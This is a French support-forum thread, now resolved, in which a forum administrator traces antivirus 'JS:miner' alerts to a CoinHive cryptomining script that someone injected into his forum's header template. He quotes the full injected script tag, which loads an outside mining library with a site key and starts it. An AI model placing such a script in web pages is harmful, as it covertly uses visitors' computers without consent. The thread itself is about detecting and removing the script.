[Résolu] Menace détectée: JS:miner

[Eric Carey]

Détails techniques

Version du forum : phpBB2
Poste occupé : Administrateur
Navigateur(s) concerné(s) : Internet Explorer, Autre
Personnes concernées par le problème : Tous les utilisateurs
Problème apparu depuis : depuis 2 mois minimum.
Lien du forum : http://www.naheulbeuk-online.org

Description du problème
Bonjour, je suis administrateur d'un forum relativement fréquenté. De plus en plus souvent, nos membres remontent des alertes d'antivirus à la connexion. Quelque chose se connecte à www.coinhive.com, site connu pour être infecté par JS:miner



Je pensais que cette connexion était liée à des panneaux de pub ou aux cookies, mais c'est trop répandu. De plus, je vois dans ma barre d'état des connexions pendant les chargement de page, à coinhive justement (et à Illiweb)

J'ai fait le tour des modules supplémentaires et des codes, mais je n'ai rien trouvé qui aille sur coinhive. Comment savoir ce qui provoque cette connexion et le cas échéant, le dézinguer? Je ne suis pas assez technicien.

Merci, cordialement,

Eric.

www.naheulbeuk-online.org

[Walt]

Bonsoir,

Avez-vous installé une shoutbox fournie par le site i-tchat.com ?

Cordialement,
Walt

[Eric Carey]

Bonjour,

Non, nous avons même enlevé la shoutbox il y a plusieurs mois, bien avant les premiers incidents. Le seul module externe est un module discord.

edit: en farfouillant dans le code source de la page, je trouve la ligne:

Code:

<script src="https://coin-hive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('ypCwhRjhZa0apGSZL7D7SgJOAbAm3f4r', {threads: 2,autoThreads: false,forceASMJS: false});miner.start();</script><script type="text/javascript">

je sais ou creuser, faut que je trouve ou enlever ce script.

Eric.

[Neptunia]

Bonjour ^^



Le script est placé dans les templates, plus précisément dans le template overall_header.

Comme il n'y a normalement qu'une seule personne pouvant accéder aux templates, vous savez désormais qui a placé ce script indésirable.

[Eric Carey]

...seul l'admin fondateur a accès aux templates, aie-je lu ailleurs ici. Mais cet admin a quitté la communauté depuis bien longtemps, et ne revient en fait que pour réactiver le nom de domaine.

Je vais fouiller, merci.

[Walt]

Bonjour,

Il semblerait que lors d'une récente connexion, il en ait profité pour rajouter ce script dans les templates. Je constate d'ailleurs qu'il était en ligne il y a quelques minutes à peine.

Cordialement,
Walt

[Neptunia]

Je constate d'ailleurs qu'il était en ligne il y a quelques minutes à peine.

Et moi je constate que le script de minage a été enlevé

[Maenhout]

Merci à tous·tes pour le coups de main. A première vue la redirection vers le coinhive a était retirer.

[Eric Carey]

Merci pour le coup de main. Il s'est connecté rapidement pour régler ça.

[Chacha]

Bienvenue sur le forum de support de Forumactif Puisque vous êtes nouveau, voici quelques sujets susceptibles de vous intéresser : L'importance de garder secret l'email de fondation, Sécurité : ce qu'il ne faut pas faire, Liste des questions et réponses fréquentes, Liste des trucs et astuces, La fonction rechercher N'hésitez pas à ouvrir un nouveau sujet si vous ne trouvez pas votre réponse.

Merci pour le coup de main. Il s'est connecté rapidement pour régler ça.

Bonjour,

Le problème étant réglé, ce sujet est par conséquent archivé

Cordialement.